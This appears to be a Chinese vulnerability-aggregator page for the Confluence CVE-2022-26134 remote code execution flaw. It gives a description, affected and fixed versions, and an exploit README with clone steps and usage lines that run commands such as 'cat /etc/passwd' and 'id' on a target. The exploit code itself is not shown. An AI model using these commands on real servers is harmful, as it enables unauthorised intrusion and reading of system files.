关联漏洞
标题：
Atlassian Confluence Server 注入漏洞
(CVE-2022-26134)
描述：Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能，并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server 和 Data Center 存在注入漏洞。攻击者利用该漏洞执行任意代码。以下产品及版本受到影响：1.3.0版本至7.4.17之前版本、7.13.0版本至7.13.7之前版本、7.14.0版本至7.14.3之前版本、7.15.0版本至 7.15.2之前版本、7.16.0版本至7.16.4之
描述
Atlassian Confluence (CVE-2022-26134) - Unauthenticated Remote code execution (RCE)
介绍
<!--
-->
### CVE-2022-26134
Confluence Server and Data Center - CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability
| Summary |CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability <br> in Confluence Server and Data Center|
|---|---|
|Affected Products | Confluence Confluence Server Confluence Data Center|
|Affected Versions | All supported versions of Confluence Server and Data Center are affected.<br /> Confluence Server and Data Center versions after 1.3.0 are affected.|
|Fixed Versions | 7.4.17 <br /> 7.13.7 <br/> 7.14.3<br> 7.15.2<br/> 7.16.4 <br/> 7.17.4<br/> 7.18.1
### How to use:
Copy and Paste in terminal :
```bash
git clone https://github.com/nxtexploit/CVE-2022-26134 ; cd CVE-2022-26134 ; pip install -r requirements.txt
```
### For executing command on vulnerable target :
```python
python3 CVE-2022-26134.py https://target.com type-command-here
python3 CVE-2022-26134.py https://target.com "uname -a"
python3 CVE-2022-26134.py https://target.com "cat /etc/passwd"
python3 CVE-2022-26134.py https://target.com id
```
文件快照
[4.0K] /data/pocs/656c5daa3d26db5fc8d839fb6aa4986ef371bd36
├── [1.9K] CVE-2022-26134.py
├── [1.0K] LICENSE
├── [1.2K] README.md
└── [ 21] requirements.txt
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。